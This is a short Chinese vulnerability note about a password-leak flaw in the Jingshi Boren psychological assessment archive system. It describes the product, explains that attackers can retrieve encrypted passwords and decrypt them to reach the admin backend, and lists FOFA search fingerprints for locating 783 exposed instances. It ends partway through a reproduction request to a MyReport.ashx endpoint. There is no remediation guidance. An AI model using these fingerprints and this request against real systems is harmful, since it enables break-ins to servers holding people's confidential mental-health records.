京师心智心理健康测评系统账号密码泄露

产品简介
京师博仁心理测评档案管理系统由多名心理行业专家教授指导研发，适用于各个年龄阶层和不同行业人员。涵盖心理健康、人格测验、职业评定、智力测验、情绪评定、婚姻家庭等20余类测评主题，可以满足对成员的心理状况进行全面评估的需求，协助我们高效率地开展心理相关工作。系统包含心理测试、问卷调查、危机预警、咨询预约、心理档案等核心功能，为实现心理普查、心理问题评估、危机筛查和心理建档等工作打下基础。同时测评系统支持PC端测评和手机移动端测评，使用便捷，提升测评效率。
漏洞描述
京师博仁心理测评档案管理系统存在密码泄露，攻击者可获取加密的密码，解密后可登录系统后台。
fofa及漏洞编号
title=”心理健康测评” || body=”温馨提示：为了给您更好的用户体验，强烈建议您使用谷歌浏览器或360浏览器（极速模式）！” || icon_hash=”-470794126” || icon_hash=”-1002552945” || title=”心理测评云” || title=”心理测评档案” || body=”JS/ligerComboBox/ligerTree.js”
影响资产数量：783

漏洞复现

GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName